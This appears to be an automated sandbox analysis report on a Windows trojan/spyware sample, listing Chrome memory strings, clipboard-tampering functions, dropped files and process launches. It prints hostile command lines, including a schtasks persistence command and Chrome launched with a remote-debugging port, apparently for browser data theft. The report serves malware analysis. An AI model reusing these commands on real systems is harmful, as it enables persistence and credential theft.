Source: chrome.exe, 00000003.00000003.1780574015.0000606C031A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807374303.0000606C031B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780834718.0000606C028E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806675256.0000606C02FE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802738118.0000606C02AB8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000003.00000003.1780574015.0000606C031A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780834718.0000606C028E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000003.1780574015.0000606C031A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807374303.0000606C031B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780834718.0000606C028E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000003.00000003.1780574015.0000606C031A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1807374303.0000606C031B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780834718.0000606C028E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806675256.0000606C02FE8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.1780574015.0000606C031A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1780834718.0000606C028E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000003.00000002.1800944391.0000606C02694000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000003.00000002.1803486579.0000606C02BDC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000002.1803486579.0000606C02BDC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000003.00000002.1799115461.0000606C02288000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000003.00000002.1799115461.0000606C02288000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.1799652825.0000606C023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000002.1802223546.0000606C029A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802259920.0000606C029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800944391.0000606C02694000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.1802223546.0000606C029A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1802259920.0000606C029BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1800944391.0000606C02694000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000003.00000002.1803737364.0000606C02C24000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.1799652825.0000606C023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/:
Source: chrome.exe, 00000003.00000003.1777106487.0000606C02DE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1805893144.0000606C02DE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779788554.0000606C02DE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000003.1777106487.0000606C02DE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1805893144.0000606C02DE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779788554.0000606C02DE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000003.1777106487.0000606C02DE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1805893144.0000606C02DE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779788554.0000606C02DE4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000002.1805992766.0000606C02E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801083319.0000606C02728000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000002.1801482082.0000606C02840000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1804892996.0000606C02CDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803840988.0000606C02C40000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.1802309692.0000606C029E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Chary
Source: chrome.exe, 00000003.00000002.1801482082.0000606C02840000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Google
Source: chrome.exe, 00000003.00000002.1802309692.0000606C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799652825.0000606C023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803144742.0000606C02B64000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.1802309692.0000606C029E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1799652825.0000606C023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1803144742.0000606C02B64000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.1803001612.0000606C02B14000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000003.00000002.1802184518.0000606C02994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1805962229.0000606C02E0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1805489894.0000606C02D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801030810.0000606C026C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801311620.0000606C027D4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000002.1800944391.0000606C02694000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.1803840988.0000606C02C40000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000002.1798937895.0000606C0221C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000002.1799721522.0000606C0240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.1799721522.0000606C0240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.1799721522.0000606C0240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801311620.0000606C027D4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.1799721522.0000606C0240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806357810.0000606C02F1C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000002.1800944391.0000606C02694000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 00000003.00000002.1801686730.0000606C028D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/;
Source: chrome.exe, 00000003.00000002.1804826053.0000606C02CC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801635669.0000606C02898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1801686730.0000606C028D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.1801686730.0000606C028D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.1805788610.0000606C02DA4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/Q&
Source: chrome.exe, 00000003.00000002.1801686730.0000606C028D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.1806777832.0000606C03034000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49817
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C779C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C779C22
Contains functionality to modify clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C779C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C779C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C779D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 9_2_6C779D11
Contains functionality to read the clipboard data
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C779E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 9_2_6C779E27

System Summary
barindex
Drops large PE files
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
PE file contains section with special chars
Source: mPQW1NB2Px.exe Static PE information: section name:
Source: mPQW1NB2Px.exe Static PE information: section name: .idata
Source: mPQW1NB2Px.exe Static PE information: section name:
Abnormal high CPU Usage
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process Stats: CPU usage > 49%
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_005351B0 9_2_005351B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00533E20 9_2_00533E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A2CCE 9_2_6C7A2CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C76CD00 9_2_6C76CD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C76EE50 9_2_6C76EE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C770FC0 9_2_6C770FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7B0AC0 9_2_6C7B0AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7744F0 9_2_6C7744F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A46E0 9_2_6C7A46E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A07D0 9_2_6C7A07D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7987C0 9_2_6C7987C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7B0060 9_2_6C7B0060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A2090 9_2_6C7A2090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C792360 9_2_6C792360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7BDC70 9_2_6C7BDC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7998F0 9_2_6C7998F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C775880 9_2_6C775880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A7A20 9_2_6C7A7A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7ADBEE 9_2_6C7ADBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7A140E 9_2_6C7A140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7B1510 9_2_6C7B1510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7AF610 9_2_6C7AF610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C78F760 9_2_6C78F760
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C8250D0 9_2_6C8250D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C763000 9_2_6C763000
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7770C0 9_2_6C7770C0
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C833560 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C835980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C835A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C833B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C8336E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C82ADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C833820 appears 31 times
One or more processes crash
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7296 -s 1396
Uses 32bit PE files
Source: mPQW1NB2Px.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: mPQW1NB2Px.exe Static PE information: Section: qutbxpsa ZLIB complexity 0.9943125354911981
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@23/7@16/5
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File created: C:\Users\user\AppData\Local\uABDlLMkuJ Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7296
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4316:120:WilError_03
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\woUNydxtUFQatgBImlJF
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000003.00000002.1801967681.0000606C02959000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: mPQW1NB2Px.exe Virustotal: Detection: 56%
Source: mPQW1NB2Px.exe ReversingLabs: Detection: 68%
Source: unknown Process created: C:\Users\user\Desktop\mPQW1NB2Px.exe "C:\Users\user\Desktop\mPQW1NB2Px.exe"
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2332,i,10596624105070430740,12121365275626674710,262144 /prefetch:8
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7296 -s 1396
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2332,i,10596624105070430740,12121365275626674710,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\mPQW1NB2Px.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: ellrgatenshkoykertxa.dll Jump to behavior
Source: mPQW1NB2Px.exe Static file information: File size 4453888 > 1048576
Source: mPQW1NB2Px.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x283400
